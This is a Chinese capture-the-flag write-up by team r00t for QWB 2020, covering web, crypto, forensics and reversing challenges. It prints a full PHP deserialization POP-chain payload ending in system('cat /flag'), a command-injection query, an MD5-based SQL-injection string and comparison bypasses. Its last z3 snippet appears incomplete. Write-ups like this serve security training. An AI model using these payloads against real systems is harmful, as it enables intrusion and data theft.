# r00t 强网杯 2020

急缺pwn师傅

# 签到

flag{welcome_to_qwb_S4}

# web 辅助

下载源码进行审计,发现是反序列化

先找 POP 链,在 class 中可以构造出完整的链子

<?php
include "common.php";

class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;
    public function __construct($name = 'Riven'){
        $this->name = new midsolo(new jungle());
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }


    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();
        return "";
    }

}

$player = new player("1","1");
$player->test = new topsolo();
$data = write(serialize($player));
echo $data;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

这里__wakeup需要绕一绕,参考 CVE-2016-7124,当成员属性数目大于实际数目时,__wakeup 不会执行

第二个点是过 check 函数

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
1
2
3
4
5
6
7
8
9

这个要求序列化后的数据里不能出现 name,这里可以用S的类型绕过,将s:4:"name"转换成S:4:"\6eame",即可绕过检查

最后一个点是反序列化逃逸

function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}
1
2
3
4
5
6
7
8

又是喜闻乐见的修改序列化数据,如果在序列化之前加入一个\0*\0,在经过 read 函数时就会被解码缩小,但是我们一般的反序列化逃逸是通过膨胀实现的,在仔细观察后,发现他有 user、pass 两个输入点,所以可以在 user 字段中添加\0*\0,导致 user 字段收缩,吃掉后面的 pass 定义,把我构造的序列化数据露出来

最后的 paylaod

O:6:"player":3:{s:7:"\0*\0user";s:56:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\";s:7:"\0*\0pass";s:134:";s:4:"test";O:7:"topsolo":1:{S:7:"\0*\0\6eame";O:7:"midsolo":2:{S:7:"\0*\0\6eame";O:6:"jungle":1:{S:7:"\0*\0\6eame";s:7:"Lee Sin";}}}}";s:8:"\0*\0admin";i:0;}
1

# bank

开始是一个 PoW,爆就完事儿了

输入用户名,之后能转账、查看记录、接收记录、查看 hint

根据 hint

def transact_ecb(key, sender, receiver, amount):
    aes = AES.new(key, AES.MODE_ECB)
    ct = b""
    ct += aes.encrypt(sender)
    ct += aes.encrypt(receiver)
    ct += aes.encrypt(amount)
    return ct
1
2
3
4
5
6
7

他将数据逐个加密,拼接成一个整体,那么应该可以将自己的名字设置为 1000,然后将sender那个块放在amount的位置,应该可以实现转账一个很大的数

但是这么操作并没有成功,实际上,连正常的转账都没能成功。。。

后来发现可以转一个负数,转账-1000,本题终结

# Funhash

第一层,md4 等于自身,只要又一个 0e 开头的字符串算的 md4 也是 0e 开头就行了

找到一个0e251288019

if ($_GET["hash1"] != hash("md4", $_GET["hash1"])){
    die('level 1 failed');
}
1
2
3

第二层,两个变量本身不相等,但是 md5 相等

让他们是不同的数组就可以了

if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])){
    die('level 2 failed');
}
1
2
3

第三层,让一个东西的 md5,带着 sql 注入语句

找到一个ffifdyop,算 md5 会得到,'or'

$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
1
2
3
4
5
6

# upload

附件是一个流量包,里面是一个 HTTP 流量,导出之后是一张图片,文件名是 steghide 解,试一下密码 123456,成功解出 flag

# 主动

<?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?>
1
2
3
4
5
6
7
8
9
10
11

直接/?ip=;cat%20*,得到 flag

# 侧防

纯粹的一道逆向,没有壳,没有混淆……

算法是先常量表异或再加'A',最后每 4 字节为一块循环右移。写脚本出 flag(的绝大部分):

#!/usr/bin/env python3

tbl_encrypt = [ 0x51, 0x57, 0x42, 0x6C, 0x6F, 0x67, 0x73 ]

target = bytearray([
    0x4C, 0x78, 0x7C, 0x64, 0x54, 0x55, 0x77, 0x65, 0x5C, 0x49, 0x76, 0x4E, 0x68, 0x43, 0x42, 0x4F,
    0x4C, 0x71, 0x44, 0x4E, 0x66, 0x57, 0x7D, 0x49, 0x6D, 0x46, 0x5A, 0x43, 0x74, 0x69, 0x79, 0x78,
    0x4F, 0x5C, 0x50, 0x57, 0x5E, 0x65, 0x62, 0x44, 0x00, 0x00, 0x00, 0x00
])

for i in range(0, len(target), 4):
    target_0 = target[i + 0]
    target[i + 0] = target[i + 1]
    target[i + 1] = target[i + 2]
    target[i + 2] = target[i + 3]
    target[i + 3] = target_0

for i in range(len(target)):
    target[i] = (target[i] - ord('A')) & 0xff
    target[i] = (target[i] ^ tbl_encrypt[i % 7]) & 0xff

print(target)
#print(target.decode())

# bytearray(b'flag{QWB_water_problem_give_you_the_scor\xd8\xcc\xee\xe8')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

flag 最后坏掉了但是不知道怎么修……从 flag 内容猜测得到完整 flag:flag{QWB_water_problem_give_you_the_score}

# 红方辅助

对比流量包中数据和client.py的流程,可以识别并提取所有发送出去的数据。写脚本解密之:

#!/usr/bin/env python3

import struct

funcs = {
    b'0' : lambda x, y : x - y,
    b'1' : lambda x, y : x + y,
    b'2' : lambda x, y : x ^ y
}

funcs_inv = {
    b'0' : lambda x, y : x + y,
    b'1' : lambda x, y : x - y,
    b'2' : lambda x, y : x ^ y
}

offset = {
    b'0' : 0xefffff,
    b'1' : 0xefffff,
    b'2' : 0xffffff,
}

data = []
dec_data = []
idx = 0

def get_data():
    global idx
    if idx >= len(data):
        return b''
    idx += 1
    return data[idx - 1]

def decrypt(btime, boffset, enc_data):
    count, length, fn, salt = struct.unpack('<IIcB', enc_data[ : 10])
    enc = enc_data[10 : ]
    dec = bytearray()

    t = ((btime + offset[fn]) & 0xffffffff).to_bytes(4, 'little')
    for i in range(length - 10):
        dec.append((funcs_inv[fn](enc[i], salt) ^ t[i % 4]) & 0xff)

    return dec

with open('data.log', 'r') as f:
    for line in f.readlines():
        data.append(bytes.fromhex(line))

client_req = get_data()
while client_req == b'G':
    btime = int.from_bytes(get_data(), 'little')
    boffset = int.from_bytes(get_data(), 'little')
    enc_data = get_data()
    pcount = int.from_bytes(get_data(), 'little')

    print('pcount = %d, idx = %d' % (pcount, idx))
    try:
        dec_data.append(decrypt(btime, boffset, enc_data).decode())
    except Exception as e:
        dec_data.append('--- decrypt error: %s ---\n' % e)
    client_req = get_data()

#print('\n'.join(dec_data))

with open('output.log', 'w') as f:
    f.write(''.join(dec_data))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

输出的文件当中夹杂大量不可打印字符。将所有不可打印字符均替换成问号,再替换清理“颜色”过深的背景字符,得到一幅字符画:

[ --- 截断 --- ]
.........................................................................................................................
.........................................................................................................................
.........................................................................................................................
..........................................................NQQo?..........................................................
.........................................................d0??YX?\........................................................
..............................................................=?n........................................................
............................................................?8X\.........................................................
.............................................................`X?\........................................................
........................................................Q.....8?n........................................................
,...,...,...,...,...,...,...,...,...,...,...,...,...,...b8?Z:80?,...,...,...,...,...,...,...,...,...,...,...,...,...,...,
,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,
,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,
,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,
[ --- 截断 --- ]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

选一种合适的等宽字体,调小字号,读出 flag 核心:3e752bf509ddb4e9a42f1ef30beff495。挨个试 flag 外壳,试到QWB{3e752bf509ddb4e9a42f1ef30beff495}提交成功。

# 问卷调查

emmm 填完问卷就出来了,但是忘了备份 flag……

# imitation_game

# 程序逻辑

程序判断 argc 为 2,否则退出

程序 fork,然后主进程显示 flag 信息,等待子进程结束

子进程:

  1. 子进程读取 0x20 输入,从数据段取 aes 密钥、padding(0x1a)、iv
  2. 子进程将属于的 flag 加上 padding 做 aes-128 cbc 加密
  3. 子进程判断加密结果和 0x50A0 数据是否相同,然后通过执行不同的机器码,向主进程返回信息

父进程: 父进程是 chip8 模拟器

  1. 父进程通过 wait 接收子进程的返回值,如果子进程失败父进程直接退出不做剩下的步骤
  2. 父进程之后的循环是以 0x8120 为 ip,0x8980 为代码的 vm
  3. vm 内外代码的对应通过.data.rel.ro实现
  4. main 函数剩下的部分主要是 SDL 显示和其他的一些与题目无关的操作

vm 里的逻辑:

  • vm 代码主要包括以下几个函数:(按照先后顺序)
  1. 显示 DEAD
  2. 将 v0v1 两个参数相乘,返回乘积
  3. 主要验证逻辑:这部分再划分三部分
    1. 读取、存储(在 v0-v9 寄存器)、显示 (十个)按键
    1. 对 flag 的各字符进行一些加、减、异或的处理再放回原位
    1. 将 flag 连续三字符乘上特定常数求和做比较
    1. 比较第十个按键是否是 3

# 解题过程

粗略浏览程序逻辑,判断子进程先执行,所以先查看子进程

  • 发现 ptrce0000,patch 掉,可以调试
  • 从常数矩阵 0x8020 和函数 0x47f0 逻辑推测是 aes 算法,根据 aes 算法的结构,判断 0x5100 0x5120 分别是 aes key/iv
  • 判断程序的 aes s 盒和标准 s 盒不同,复制 s 盒到其他 aes 实现,尝试加密,发现和本程序加密的结果不一样
  • 动调获取程序生成的 aes 轮密钥矩阵替换其他 aes 实现的轮密钥,尝试加密,发现不一样
  • 动调发现程序 s 盒和标准 aess 盒相同,猜测程序存在对 s 盒的修改,懒得去找
  • 使用动调获得的轮密钥盒标准的 aes 逆 s 盒解密 0x50A0 获得前半段 flag

子进程通过特殊的方法向父进程返回了验证结果,但是不重要不影响做题,接下来看父进程。

  • 分析父进程的逻辑,发现大部分是在做 SDL 显示和一些其他的杂活,找了半天,跟 SDL 的文档较劲一下午,最后发现程序是个 vm
  • 逐条分析 vm 的指令作用……这时放了提示 chip8,寻找对应 vm 的反编译器,将反编译器代码与对 vm 的分析比较,判断题目修改了两种 vm 代码,修复之后反编译成功。
  • 研究分析反编译结果,vm 中有 16 个通用寄存器、一个共用的字库、数据、代码存储,vm 只有调用栈,本程序中用 VE(作为栈指针)和字库构成了程序的数据栈,调用方压栈,被调方清栈,参数从 v0 开始存放,返回值放于 VF。
  • 分析发现 vm 里的操作不算特别复杂,是简单的算术和三组参数一样的方程组,简单计算之后得到了 flag

# xx_warmup_obf

# 程序逻辑

没太看明白,不过姑且应该是什么混淆器吧,还通过读写数据来骗各种反汇编、反编译器;程序使用了一个 jmp rbx 函数替代 call;但是通过找函数的引用能粗略的判断函数的逻辑:

  • 显示提示信息
  • 读取 flag
  • 在 flag 中寻找'\n'
  • 判断 flag 长度 28
  • 显示 flag 长度不对
  • 判断 flag 内容
  • 显示 flag 内容是否正确

# 做题过程

打眼一看程序使用了很复杂的混淆手段,同时程序中还大量出现 int 3 断点干扰调试。 程序在 init_array(main 函数开始执行前执行的函数数组)中注册了信号 5 SIGTRAP 的处理函数,并写入了一些数据。

既不认识混淆的方法又对硬看没啥想法,所以随便翻翻,程序混淆的一个特征是大量的跳转和不正常指令,翻代码的时候突然发现一大段不带跳转的内容,于是仔细看了看。

发现一些结构类似,包含 imul 指令的代码段,向上寻找,发现类似结构最小包含一个 imul,结果与常数做了比较,解出来发现是‘f’,接着,看四个 imul 的结构,发现是‘flag’,大喜,通过 ghidra 来反编译方程,获得若干方程。

整理方程的格式为可以试用 z3 求解的形式,解得 flag。(实际上方程是未知数个数从 1 到 28 逐渐增加,可以逐个方程求解)

f=102
f1=108
f2=97
f3=103
solve(((f1) * -0xebc1 + (f4) * -0x37b78 + f * 0x17201 + (f3) * -0x43089 + (f2) * 0x45b88 == -0x1853445))
solve( ((f1) * -0xebc1 + (f4) * -0x37b78 + f * 0x17201 + (f3) * -0x43089 + (f2) * 0x45b88 == -0x1853445))
1
2
3
4
5
6